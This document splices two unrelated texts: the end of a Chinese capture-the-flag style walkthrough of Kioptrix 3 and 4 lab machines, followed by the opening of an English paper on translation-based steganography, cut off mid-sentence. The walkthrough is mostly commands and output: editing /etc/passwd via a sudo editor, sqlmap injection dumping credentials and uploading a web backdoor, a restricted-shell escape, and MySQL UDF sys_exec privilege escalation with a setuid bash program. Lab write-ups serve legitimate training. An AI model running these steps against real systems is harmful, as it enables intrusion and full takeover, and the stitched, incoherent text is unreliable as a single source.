Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
loneferret@Kioptrix3:~$ ls
checksec.sh CompanyPolicy.README
存在一个 CompanyPolicy.README 文件.
checksec.sh CompanyPolicy.README
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing
files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
英语比较垃圾,百度翻译的意思是可以通过 sudo ht 对文件进行编辑,创建。
在kali下尝试
loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
报错不能打开一个 xterm-256color. 终端。
回到本地环境用 xshell 连接是可以打开的
此时按 F3 ,可以输入 /etc/passwd 或者 /etc/sudoers 文件来进行文件编辑
把/etc/passwd当前用户的权限修改和 root 一样即可。
也可以把/etc/sudoers当前用户的权限修改和 root 一样即可。
重新登录SSH。
root@kali:~# ssh [email protected]
[email protected]'s password:
Last login: Tue May 8 19:27:01 2018 from uknow-pc
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
root@Kioptrix3:~# id
uid=0(root) gid=0(root) groups=0(root),100(users)
root@Kioptrix3:~# whoami
root
此时已经是 root 权限了。
总结
这次实验过程挺长的,发现了很多地方的问题,第一是发现了 phpmyadmin 我尝试用写日志的方法试试能不能拿到
shell。但是发现 phpmyadmin 变量了不存在 general log 变量。
另外就是这里有个SQL注入,可以用 sqlmap 跑出来,是 root 权限。尝试用 os-shell 写shell。通过了之前用远程
命令执行得到的绝对路径,但是还是无法写入。好像是目录权限的问题。
在 phpmyadmin 下也无法执行 INTO OUTFILE 函数。显示 #1 - Can't create/write to file 。从在命令执行里也
看得出来目录是没有权限的。
在最后补充了一个文件包含和后台上传的利用,这个组合通过文件包含执行图片木马,得到一个shell。虽然说很鸡
肋,还是感觉有点厉害的。
在实验过程中还是想多多尝试多种方法的,但是实验环境还是有限。但在这次实验中还是学到了很多,做了几次
vulnhub 的实验了,感觉提权方面还是有学习到很多。
虽然说这些环境有点不常见甚至奇葩,但是还是在这个过程中学到了 linux 环境下的一些之前一直匮乏的知识。
第十六节 Vulnhub渗透测试练习-Kioptrix 4
title: Vulnhub渗透测试练习-Kioptrix 4 date: 2018-05-17 13:46:30 tags:
作者:Ukonw
信息收集
用 nmap 进行端口扫描。
root@kali:~# nmap -sS -A 10.32.58.187
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-17 01:57 EDT
Nmap scan report for 10.32.58.187
Host is up (0.00037s latency).
Not shown: 566 closed ports, 430 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 00:0C:29:38:2D:6F (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 10h00m00s, deviation: 2h49m43s, median: 7h59m59s
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2018-05-17T09:58:07-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 0.37 ms 10.32.58.187
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.81 seconds
从扫描结果可以得到,开发以下端口信息
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
访问80端口下的WEB服务。
尝试万能密码绕过 'or 1=1# 绕过失败。
弱密码 admin:admin 也是错误的。
尝试 admin:' ,出现报错。好爆出来了路径 /var/www/checklogin.php 。
存在POST型注入。
漏洞利用
sqlmap进行SQL注入
sqlmap -u http://10.32.58.187/checklogin.php --data="myusername=admin&mypassword=123&Submit=Login" -p
mypassword --current-user --current-db --is-dba
在注入的过程会遇到 302跳转 选择 n 。
sqlmap identified the following injection point(s) with a total of 253 HTTP(s) requests:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=admin&mypassword=-8260' OR 6555=6555#&Submit=Login
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: myusername=admin&mypassword=123' OR SLEEP(5)-- UeQF&Submit=Login
---
[02:00:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[02:00:45] [INFO] fetching current user
[02:00:45] [WARNING] running in a single-thread mode. Please consider usage of option '--threads'
for faster data retrieval
[02:00:45] [INFO] retrieved: root@localhost
current user: 'root@localhost'
[02:00:45] [INFO] fetching current database
[02:00:45] [INFO] retrieved: members
current database: 'members'
[02:00:45] [INFO] testing if current user is DBA
[02:00:45] [INFO] fetching current user
current user is DBA: True
[02:00:45] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.32.58.187'
[*] shutting down at 02:00:45
通过注入得到用户名和密码
Database: members
Table: members
[2 entries]
+----+----------+-----------------------+
| id | username | password |
+----+----------+-----------------------+
| 1 | john | MyNameIsJohn |
| 2 | robert | ADGAdsafdfwt4gadfga== |
+----+----------+-----------------------+
通过 --os-shell 写入一个 webshell 。
root@kali:~# sqlmap -u http://10.32.58.187/checklogin.php --
data="myusername=admin&mypassword=123&Submit=Login" -p mypassword --os-shell
___
__H__
___ ___[']_____ ___ ___ {1.2.4#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and federal
laws. Developers assume no liability and are not responsible for any misuse or damage caused by
this program
[*] starting at 02:09:06
[02:09:06] [INFO] resuming back-end DBMS 'mysql'
[02:09:06] [INFO] testing connection to the target URL
[02:09:06] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=admin&mypassword=-8260' OR 6555=6555#&Submit=Login
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: myusername=admin&mypassword=123' OR SLEEP(5)-- UeQF&Submit=Login
---
[02:09:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[02:09:06] [INFO] going to use a web backdoor for command prompt
[02:09:06] [INFO] fingerprinting the back-end DBMS operating system
[02:09:06] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[02:09:08] [INFO] retrieved the web server document root: '/var/www'
[02:09:08] [INFO] retrieved web server absolute paths: '/var/www/checklogin.php'
[02:09:08] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY'
method
[02:09:08] [INFO] the file stager has been successfully uploaded on '/var/www/' -
http://10.32.58.187:80/tmpuadle.php
[02:09:08] [WARNING] unable to upload the file through the web file stager to '/var/www/'
[02:09:08] [WARNING] backdoor has not been successfully uploaded through the file stager possibly
because the user running the web server process has not write privileges over the folder where
the user running the DBMS process was able to upload the file stager or because the DBMS and web
server sit on different servers
do you want to try the same method used for the file stager? [Y/n]
[02:09:09] [INFO] the backdoor has been successfully uploaded on '/var/www/' -
http://10.32.58.187:80/tmpbcphh.php
[02:09:09] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a]
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]
command standard output: 'www-data'
os-shell> cat checklogin.php
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
但是权限很小。但是得到了数据库的账号密码。
通过SSH连接
利用SQL注入得到的用户名密码SSH登录。
root@kali:~# ssh [email protected]
The authenticity of host '10.32.58.187 (10.32.58.187)' can't be established.
RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.32.58.187' (RSA) to the list of known hosts.
[email protected]'s password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ id
*** unknown command: id
john:~$ ?
cd clear echo exit help ll lpath ls
john:~$ help help
Limited Shell (lshell) limited help.
Cheers.
从这里我们可以利用的命令有
cd clear echo exit help ll lpath ls
重点其中有一个是 echo 。
我们可以利用他得到一个 bash交互shell
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
权限还是当前用户的权限。
MySQL数据库提权
利用SQL注入得到的数据库账号密码登录MySQL数据库。
john@Kioptrix4:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3520
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> status;
--------------
mysql Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2
Connection id:
3520
Current database:
Current user:
root@localhost
SSL:
Not in use
Current pager:
stdout
Using outfile:
''
Using delimiter:
;
Server version:
5.0.51a-3ubuntu5.4 (Ubuntu)
Protocol version:
10
Connection:
Localhost via UNIX socket
Server characterset:
latin1
Db characterset:
latin1
Client characterset:
latin1
Conn. characterset:
latin1
UNIX socket:
/var/run/mysqld/mysqld.sock
Uptime:
1 hour 10 min 47 sec
尝试 mysql udf 提权 。
在Windows环境下,执行命令
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
实现提权。
我们在实验环境下进行Linux环境下的UDF提权操作。
首先找到 lib_mysqludf_sys.so 的目录。
john@Kioptrix4:~$ whereis lib_mysqludf_sys.so
lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
ERROR 1125 (HY000): Function 'sys_exec' already exists
mysql> select sys_exec('id > /tmp/out; chown john.john /tmp/out');
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 1
Current database: mysql
+-----------------------------------------------------+
| sys_exec('id > /tmp/out; chown john.john /tmp/out') |
+-----------------------------------------------------+
| NULL |
+-----------------------------------------------------+
1 row in set (0.00 sec)
mysql> quit
Bye
john@Kioptrix4:~$ cat /tmp/out
uid=0(root) gid=0(root)
这样就将 sys_exec() 函数执行的结果写入到了 /tmp/out 下。
得知可以得到root权限。
可以写一个c语言程序进行命令执行
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system(“/bin/bash”);
}
本地编译上传到目标靶机。
这里我用wget下载好像一下连接超时。可能是防火墙阻止流量。
mysql> SELECT sys_exec('usermod -a -G admin');
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> SELECT sys_exec('usermod -a -G admin john');
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 1
Current database: mysql
+--------------------------------------+
| sys_exec('usermod -a -G admin john') |
+--------------------------------------+
| NULL |
+--------------------------------------+
1 row in set (0.07 sec)
利用 SELECT sys_exec('usermod -a -G admin'); 将 john 加入管理员组
john@Kioptrix4:/tmp$ sudo su
[sudo] password for john:
root@Kioptrix4:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix4:/tmp# whoami
root
这样我们得到了root权限。 | pdf |
Translation-Based Steganography
Christian Grothoff
Krista Grothoff
Ludmila Alkhutova
Ryan Stutsman
Mikhail Atallah
CERIAS, Purdue University {christian,krista}@grothoff.org,
{lalkhuto,rstutsma}@purdue.edu,[email protected]
Abstract. This paper investigates the possibilities of steganographically
embedding information in the “noise” created by automatic translation
of natural language documents. Because the inherent redundancy of nat-
ural language creates plenty of room for variation in translation, machine
translation is ideal for steganographic applications. Also, because there
are frequent errors in legitimate automatic text translations, additional
errors inserted by an information hiding mechanism are plausibly unde-
tectable and would appear to be part of the normal noise associated with
translation. Significantly, it should be extremely difficult for an adver-
sary to determine if inaccuracies in the translation are caused by the use
of steganography or by deficiencies of the translation software.
1
Introduction
This paper presents a new protocol for covert message transfer in natural lan-
guage text, for which we have a proof-of-concept implementation. The key idea is
to hide information in the noise that occurs invariably in natural language trans-
lation. When translating a non-trivial text between a pair of natural languages,
there are typically many possible translations. Selecting one of these transla-
tions can be used to encode information. In order for an adversary to detect the
hidden message transfer, the adversary would have to show that the generated
translation containing the hidden message could not be plausibly generated by
ordinary translation. Because natural language translation is particularly noisy,
this is inherently difficult. For example, the existence of synonyms frequently
allows for multiple correct translations of the same text. The possibility of er-
roneous translations increases the number of plausible variations and thus the
opportunities for hiding information.
This paper evaluates the potential of covert message transfer in natural lan-
guage translation that uses automatic machine translation (MT). In order to
characterize which variations in machine translations are plausible, we have
looked into the different kinds of errors that are generated by various MT sys-
tems. Some of the variations that were observed in the machine translations are
also clearly plausible for manual translations by humans.
In addition to making it difficult for the adversary to detect the presence of a
hidden message, translation-based steganography is also easier to use. The rea-
son for this is that unlike previous text-, image- or sound-based steganographic
2
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
systems, the substrate does not have to be secret. In translation-based steganog-
raphy, the original text in the source language can be publically known, obtained
from public sources, and, together with the translation, exchanged between the
two parties in plain sight of the adversary. In traditional image steganography,
the problem often occurs that the source image in which the message is sub-
sequently hidden must be kept secret by the sender and used only once (as
otherwise a “diff” attack would reveal the presence of a hidden message). This
burdens the user with creating a new, secret substrate for each message.
Translation-based steganography does not suffer from this drawback, since
the adversary cannot apply a differential analysis to a translation to detect the
hidden message. The adversary may produce a translation of the original mes-
sage, but the translation is likely to differ regardless of the use of steganography,
making the differential analysis useless for detecting a hidden message.
To demonstrate this, we have implemented a steganographic encoder and
decoder. The system hides messages by changing machine translations in ways
that are similar to the variations and errors that were observed in the existing MT
systems. An interactive version of the prototype is available on our webpage.1
The remainder of the paper is structured as follows. First, Section 2 reviews
related work. In Section 3, the basic protocol of the steganographic exchange is
described. In Section 4, we give a characterization of errors produced in existing
machine translation systems. The implementation and some experimental results
are sketched in Section 5. In Section 6, we discuss variations on the basic protocol,
together with various attacks and possible defenses.
2
Related Work
The goal of both steganography and watermarking is to embed information into
a digital object, also referred to as the substrate, in such a manner that the
information becomes part of the object. It is understood that the embedding
process should not significantly degrade the quality of the substrate. Stegano-
graphic and watermarking schemes are categorized by the type of data that the
substrate belongs to, such as text, images or sound.
2.1
Steganography
In steganography, the very existence of the message must not be detectable.
A successful attack consists of detecting the existence of the hidden message,
even without removing it (or learning what it is). This can be done through, for
example, sophisticated statistical analyses and comparisons of objects with and
without hidden information.
Traditional linguistic steganography has used limited syntactically-correct
text generation [29] (sometimes with the addition of so-called “style templates”)
and semantically-equivalent word substitutions within an existing plaintext as a
1 http://www.cs.purdue.edu/homes/rstutsma/stego/
Translation-Based Steganography
3
medium in which to hide messages. Wayner [29,30] introduced the notion of using
precomputed context-free grammars as a method of generating steganographic
text without sacrificing syntactic and semantic correctness. Note that semantic
correctness is only guaranteed if the manually constructed grammar enforces
the production of semantically cohesive text. Chapman and Davida [6] improved
on the simple generation of syntactically correct text by syntactically tagging
large corpora of homogeneous data in order to generate grammatical “style tem-
plates”; these templates were used to generate text which not only had syntactic
and lexical variation, but whose consistent register and “style” could potentially
pass a casual reading by a human observer. Chapman et al [7], later developed
a technique in which semantically equivalent substitutions were made in known
plaintexts in order to encode messages. Semantically-driven information hiding is
a relatively recent innovation, as described for watermarking schemes in Atallah
et al [4]. Wayner [29,30] detailed text-based approaches that are strictly statisti-
cal in nature. However, in general, linguistic approaches to steganography have
been relatively limited. Damage to language is relatively easy for a human to
detect. It does not take much modification of a text to make it ungrammatical in
a native speaker’s judgement; furthermore, even syntactically correct texts can
violate semantic constraints.
Non-linguistic approaches to steganography have sometimes used lower-order
bits in images and sound encodings to hide the data, providing a certain amount
of freedom in the encoding in which to hide information [30]. The problem with
these approaches is that the information is easily destroyed (the encoding lacks
robustness, which is a particular problem for watermarking), that the original
data source (for example the original image) must not be disclosed to avoid
easy detection, and that a statistical analysis can still often detect the use of
steganography (see, e.g., [13,18,20,25,30], to mention a few).
2.2
Watermarking
The intended purpose of the watermark largely dictates the design goals for wa-
termarking schemes. The possible uses of watermarking include inserting owner-
ship information, inserting purchaser information, detecting modification, plac-
ing caption information and so on. One such decision is whether the watermark
should be visible or indiscernible. For example, a copyright mark need not be
hidden; in fact, a visible digital watermark can act as a deterrent to an attacker.
Most of the literature has focused on indiscernible watermarks.
Watermarks are usually designed to withstand a wide range of attacks that
aim at removing or modifying the watermark without significantly damaging the
usefulness of the object. A resilient watermark is one that is hard to remove by
an adversary without damaging the object to an unaceptable extent. However, it
is sometimes the case that a fragile watermark is desirable, one that is destroyed
by even a small alteration; this occurs when watermarking is used for the purpose
of making the object tamper-evident (for integrity protection).
The case where the watermark has to be different for each copy of the digital
object, is called fingerprinting. That is, fingerprinting embeds a unique message
4
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
in each instance of the digital object (usually the message makes it possible to
trace a pirated version back to the original culprit). Fingerprinting is easier to
attack because two differently marked copies often make possible an attack that
consists of comparing the two differently marked copies (the attacker’s goal is
then to create a usable copy that has neither one of the two marks).
Although watermarks can be embedded in any digital object, by far most of
the published research on watermarking has dealt with media such as images,
audio or video. There is some literature on watermarking other object types like
software [9,10,11], databases [1,26], and natural language text [3,4].
2.3
Machine Translation
Most Machine Translation (MT) systems in use today are statistical MT systems
based on models derived from a corpus, transfer systems that are based on
linguistic rules for the translations, or hybrid systems that combine the two
approaches. Other translation methodologies, such as semantic MT exist, but
are not considered further as they are not commonly available at this time.
In statistical MT [2,5], the system is trained using a bilingual parallel corpus
to construct a translation model. The translation model gives the translator sta-
tistical information about likely word alignments. A word alignment [23,24] is a
correspondence between words in the source sentence and the target sentence.
For example, for English-French translations, the system “learns” that the En-
glish word “not” typically corresponds to the two French words “ne pas”. The
statistical MT systems are also trained with a uni-lingual corpus in the target
language to construct a language model which is used to estimate what con-
structions are common in the target language. The translator then performs an
approximate search in the space of all possible translations, trying to maximize
the likelihood of the translation to score high in both the translation model and
the language model. The selection of the training data for the construction of
the models is crucial for the quality of the statistical MT system.
3
Protocol
The basic steganographic protocol for this paper works as follows. The sender
first needs to obtain a substrate text in the source language. The substrate does
not have to be secret and can be obtained from public sources - for example, a
news website. The sender then translates the sentences in the source text into the
target language using the steganographic encoder. The steganographic encoder
essentially creates multiple translations for each sentence and selects one of these
to encode bits from the hidden message. The translated text is then transmitted
to the receiver, together with information that is sufficient to obtain the source
text. This can either be the source text itself or a reference to the source. The
receiver then also performs the translation of the source text using the same
steganographic encoder configuration. By comparing the resulting sentences, the
Translation-Based Steganography
5
substrate source
secret configuration
translators
hidden
data
translations
hidden
data
encode
decode
Alice
translation
substrate source
Bob
Fig. 1. Illustration of the basic protocol. The adversary can observe the public
news and the message between Alice and Bob containing the selected translation
and the (possibly public) substrate source.
receiver reconstructs the bitstream of the hidden message. Figure 1 illustrates
the basic protocol.
The adversary is assumed to know about the existence of this basic protocol
and is also able to obtain the source text and to perform translations. It is not
practical for the adversary to flag all seemingly machine-translated messages
which do not correspond exactly to translations generated from the cover source
by well-known MT systems. There are two reasons for this. First, there are too
many variants of MT software out there (frequently produced by “tweaking”
existing ones), many of which are not advertised or made public. Second, even if
there was a single universal MT software copy that everyone uses, there are still
wildly differing behaviors for it depending on the corpus on which it is trained –
there are too many such potential corpora to track, especially as users seek better
translation quality by using a corpus particularly suited to their application
domain (e.g., news stories about home construction costs and markets).
The adversary does not have access to the specific configuration of the stegano-
graphic encoder (which acts like a secret key). This configuration consists of ev-
erything that determines which translations are generated, such as the specific
translation algorithms, the corpora used to train any user-generated translation
systems which may be employed, rules, and dictionaries. It is assumed that the
secret is transmitted using standard secret-sharing protocols and the specifics
are not covered here. However, it should be noted that the size of the secret
that is transmitted is flexible, based upon the user’s choices; users can choose to
simply share information about the settings of the encoder, or might choose to
transmit entire corpora used to train a user-generated MT system. This varies
based upon individual users’ needs.
As with most steganographic systems, the hidden message itself can be en-
crypted with a secret key, making it harder for the adversary to perform guessing
6
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
attacks on the secret configuration (as configurations of the steganographic sys-
tem result in a random bitstream for the hidden message).
3.1
Producing translations
The first step for both sender and receiver after obtaining the source text is to
produce multiple translations of the source text using the same algorithm. The
goal of this step is to deterministically produce multiple different translations of
the source text. The simplest approach to achieve this is to apply (a subset of)
all available MT systems on each sentence in the source text. If the parties have
full access to the code of a statistical MT system, they can generate multiple
MT systems from the same codebase by training it with different corpora.
In addition to generating different sentences using multiple translation sys-
tems it is also possible to apply post-processing on the resulting translations to
obtain additional variations. Such post-processing includes transformations that
mimic the noise inherent in any (MT) translation. For example, post-processors
could insert common translation mistakes (as discussed in Section 4).
As translation quality differs between different engines and also depends on
which post-processors were applied to manipulate the result, the translation
system uses a heuristic to assign a probability to each translation that describes
its relative quality compared to the other translations. The heuristic can be
based on both experience with the generators and algorithms that rank sentence
quality based on language models [8]. The specific set of translation engines,
training corpora and post-processing operations that are used to generate the
translations and their ranking are part of the secret shared by the two parties
that want to carry out the covert communication.
3.2
Selecting a translation
When selecting a translation to encode the hidden message, the encoder first
builds a Huffman tree [17] of the available translations using the probabilities
assigned by the generator algorithm. Then the algorithm selects the sentence
that corresponds to the bit-sequence that is to be encoded.2
Using a Huffman tree to select sentences in accordance with their translation
quality estimate ensures that sentences that are assumed to have a low trans-
lation quality are selected less often. Furthermore, the lower the quality of the
selected translation, the higher the number of transmitted bits.
This reduces the total amount of substrate text required and thus the amount
of text the adversary can analyze. The encoder can use a lower limit on the
relative translation quality to eliminate sentences from consideration where the
estimated translation quality is below a certain threshold, in which case that
threshold becomes part of the shared secret between sender and receiver.
2 Wayner [29,30] uses Huffman trees in a similar manner to generate statistically plau-
sible substrate texts on a letter-by-letter basis.
Translation-Based Steganography
7
3.3
Keeping the source text secret
The presented scheme can be adapted to be suitable for watermarking where it
would be desirable to keep the source text secret. This can be achieved as follows.
The encoder computes a (cryptographic) hash of each translated sentence. It then
selects a sentence such that the last bit of the hash of the translated sentence
corresponds to the next bit in the hidden message that is to be transmitted.
The decoder then just computes the hash codes of the received sentences and
concatenates the respective lowest bits to obtain the hidden message.
This scheme assumes that sentences are long enough to almost always have
enough variation to obtain a hash with the desired lowest bit. Error-correcting
codes must be used to correct errors whenever none of the sentences produces
an acceptable hash code. Using this variation reduces the bitrate that can be
achieved by the encoding. More details on this can be found in Section 6.
4
Lost in Translation
Modern MT systems produce a number of common errors in translations. This
section characterizes some of these errors. While the errors we describe are not a
comprehensive list of possible errors, they are representative of the types of errors
we commonly observed in our sample translations. Most of these errors are caused
by the reliance on statistical and syntactic text analysis by contemporary MT
systems, resulting in a lack of semantic and contextual awareness. This produces
an array of error types that we can use to plausibly alter text, generating further
marking possibilities.
4.1
Functional Words
One class of errors that occurs rather frequently without destroying meaning
is that of incorrectly-translated or omitted closed-class words such as articles,
pronouns, and prepositions. Because these functional words are often strongly
associated with some other word or phrase in the sentence, complex construc-
tions often seem to lead to errors in the translation of such words. Furthermore,
different languages handle these words very differently, leading to translation
errors when using engines that do not handle these differences.
For example, languages without articles, such as Russian, can produce article-
omission errors when translating to a language which has articles, like English:
“Behind sledge cheerfully to run” [12].
Even if articles are included, they often have the wrong sense of definiteness
(“a”instead of“the”, and vice-versa). Finally, if both languages have articles these
articles are sometimes omitted in translations where the constructions become
complex enough to make the noun phrase the article is bound to unclear.
Many languages use articles in front of some nouns, but not others. This
causes problems when translating from languages that do use articles in front of
the latter set of nouns. For example, the French sentence “La vie est paralys´ee.”
8
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
translates to “Life is paralyzed.” in English. However, translation engines pre-
dictably translate this as “The life is paralyzed.”. “life” in the sense of “life in
general” does not take an article in English. This is the same with many mass
nouns like “water” and “money”, causing similar errors.
Furthermore, because articles are also used as pronouns in many languages,
they are often mistranslated as such. Many of these languages also indicate
gender with articles and pronouns, such that if “the armchair” is male, it might
be referred to as “he” (in English) at the beginning of the next sentence, instead
of “it”. But because no context is kept by todays MT engines, if there is a man
being discussed in the previous sentence, he may also become an “it” in the next.
For example, the following two sentences were translated from a German
article into English with Systran (The“Avineri”mentioned is a political scientist
cited in the article): “Avineri ist nicht nur skeptisch. Er ist gleichzeitig auch
optimistisch.” is translated as “Avineri is not only sceptical. It is at the same
time also optimistic.” [22,28]. This lack of context makes correctly translating
such words difficult.
Prepositions are also notoriously tricky; often, the correct choice of prepo-
sition depends entirely on the context of the sentence. For example, “J’habite
`a 100 m`etres de lui” in French means “I live 100 meters from him” in English.
However, [28] translates this as “I live with 100 meters of him”, and [12] trans-
lates it as “In live in 100 meters of him.” Both use a different translation of “`a”
(“with/in”) which is entirely inappropriate to the context.
“Il est mort `a 92 ans”(“He died at 92 years”) is given by [28,12] as“He died in
92 years”. To say “He waits for me” in German, one generally says “Er wartet auf
mich”. [28] chooses to omit the preposition (“auf” entirely, making the sentence
incorrect (effectively, “He waits me.”) Similarly, “Bei der Hochzeit waren viele
Freunde” (“Many friends were at the wedding”) yields “With the wedding were
many friends.” In each of these cases, a demonstrably incorrect translation (in
context) for the preposition occurs.
Another example is the following: in German, “nach Hause” and “zu Hause”
both translate roughly into English as “home”. The difference between the two
is that one means “towards home” and the other means “at home”. Because we
can say in English “I’m going home” and “I’m staying home”, we don’t need
to mention “towards” or “at”. When translating these two sentences to German
without explicitly stating “at home” in the second sentence, however, the engines
we examined produced incoherent sentences. [12] translated it as“Ich bleibe nach
Hause” (“I’m staying to home”), and [28] rendered a completely nonsensical “Ich
bleibe Haupt” (“I’m staying head”).
4.2
Grammar Errors
Sometimes, even more basic grammar fails. While this may simply be a measure
of a sentence being so complicated that a verb’s subject cannot be found, it is
still quite noticeable when, for example, the wrong conjugation of a verb is used.
In the following translation, “It appeared concerned about the expressions of the
presidency candidate the fact that it do not fight the radical groups in the Gaza
Translation-Based Steganography
9
Strip” [22,28], the third-person singular subject appears directly before the verb,
and still the wrong form of the verb is chosen.
4.3
Word-for-Word Translations
One phenomenon which occurs again and again is the use of partial or complete
word-for-word translations of constructions which are not grammatically correct
in the target language. At best, this only results in word-order issues: “Was aber
erwartet Israel wirklich von den Pal¨astinensern nach der Wahl am 9.1.?” (“But
what does Israel really expect from the Palestians after the election on Jan-
uary 9?”) is translated by [28] as “What however really expects Israel from the
Palestinians after the choice on 9.1.?” In this case, the meaning is not hampered
because the construction is fairly simple, and the words translate well between
the two languages. However, in a language like Russian where possession is indi-
cated by something being “at” the owner, translation for things like “I have the
